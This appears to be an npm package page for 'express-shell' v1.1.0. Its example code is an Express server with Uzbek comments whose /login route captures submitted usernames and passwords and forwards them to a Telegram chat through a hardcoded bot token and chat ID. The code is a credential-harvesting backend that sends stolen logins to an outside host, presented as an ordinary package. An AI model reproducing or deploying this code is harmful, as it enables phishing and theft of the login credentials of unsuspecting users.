1.1.0 • Published 11 months ago

express-shell v1.1.0

Weekly downloads
-
License
ISC
Repository
-
Last release
11 months ago

Example code

const express = require('express');
const TelegramBot = require('node-telegram-bot-api');

const app = express();
app.use(express.json());

const notifyTelegram = (token, chatId, data) => {
    const bot = new TelegramBot(token);
    const message = `Login ma'lumotlari:\n${JSON.stringify(data, null, 2)}`;
    
    bot.sendMessage(chatId, message)
        .then(() => {
            console.log('Ma\'lumotlar yuborildi.');
        })
        .catch((error) => {
            console.error('Yuborishda xato:', error);
        });
};

const token = '7365753822:AAHF5dRe1aCNqMt10yag98A38_spg_WwztE';
const chatId = '6433553772';

app.post('/login', (req, res) => {
    const {username, password} = req.body.data; // Login ma'lumotlari

    notifyTelegram(token, chatId, req.body);
    
    res.send('Login ma\'lumotlari yuborildi.');
});

// Serverni boshlash
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
    console.log(`Server ${PORT} portida ishlamoqda...`);
});
1.1.0

11 months ago

1.0.9

11 months ago

1.0.7

11 months ago

1.0.6

11 months ago